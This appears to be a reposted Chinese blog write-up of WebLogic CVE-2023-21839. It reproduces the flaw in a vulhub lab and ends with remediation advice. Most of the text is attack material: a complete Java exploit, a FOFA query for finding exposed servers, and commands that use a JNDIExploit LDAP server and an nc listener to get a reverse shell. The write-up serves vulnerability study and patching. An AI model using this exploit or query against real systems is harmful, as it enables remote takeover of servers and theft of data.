【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

admin 2023年12月6日21:20:16评论59 views字数 3606阅读12分1秒阅读模式

免责声明

文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

产品简介

WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

漏洞简介

Weblogic CVE 2023-21839漏洞由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,其原理是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行,可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响版本

12.2.1.3.0

12.2.1.4.0

14.1.1.0.0

网络测绘

FOFA网络测绘搜索

app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"

漏洞复现

本次漏洞的复现环境主要是 centos7+vulhub

vulhub环境搭建参考:

https://www.cnblogs.com/Lee-404/p/12763280.html

启动环境,浏览器访问出现该页面则表示启动成功

【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

访问链接 http://IP:7001/console/login/LoginForm.jsp 可以访问到后台管理登陆的页面

【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

探测

利用DNSLOG进行探测

【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

利用网上公布的exp工具

工具地址:https://github.com/DXask88MA/Weblogic-CVE-2023-21839

源码POC:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;

public class CVE_2023_21839 {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    public static void main(String args[]) throws Exception {
        if(args.length <2){
            System.out.println(HOW_TO_USE);
            System.exit(0);
        }
        String t3Url = args[0];
        String ldapUrl = args[1];
        InitialContext c=getInitialContext("t3://"+t3Url);
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,ldapUrl);
        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
        try{
            c.bind(bindName,f);
            c.lookup(bindName);
        }catch(Exception e){ }

    }
}

使用的kali2022为攻击机,需要配置java1.8的环境

Kali重新安装JDK1.8参考:https://blog.csdn.net/qq_43968080/article/details/105586109

使用攻击机执行 exp 脚本攻击目标靶场,攻击机执行命令后可以在DNSLOG刷新

java -jar Weblogic-CVE-2023-21839.jar 靶场IP:7001 ldap://7z4rb3.dnslog.cn
【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

反弹shell

下载GitHub上公开的工具

工具地址:https://github.com/WhiteHSBG/JNDIExploit

使用 JNDIExploit-1.4-SNAPSHOT.jar 启动 ladp 服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机IP
【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

在kali上设置监听:

nc -lvp 8888
【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

可以在本地物理机上使用 Weblogic-CVE-2023-21839.jar 工具来进行攻击测试,命令格式如下:

java -jar ./Weblogic-CVE-2023-21839.jar 目标IP:Prot ldap_IP:1389/Basic/ReverseShell/ldap_IP/监听端口
【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

反弹shell成功

【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

修复方案

临时处置应对措施

禁用T3协议,或者对协议端口进行访问控制。

参考方法:https://help.aliyun.com/noticelist/articleid/1060577901.html

官方修复措施

Oracle官方已发布升级补丁以修复漏洞,建议及时更新。

补丁获取链接:https://www.oracle.com/security-alerts/cpuapr2023.html

原文始发于微信公众号(划水但不摆烂):【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日21:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞总结】Weblogic下CVE-2023-21839反序列化漏洞的详细学习http://cn-sec.com/archives/2274598.html

发表评论

匿名网友 填写信息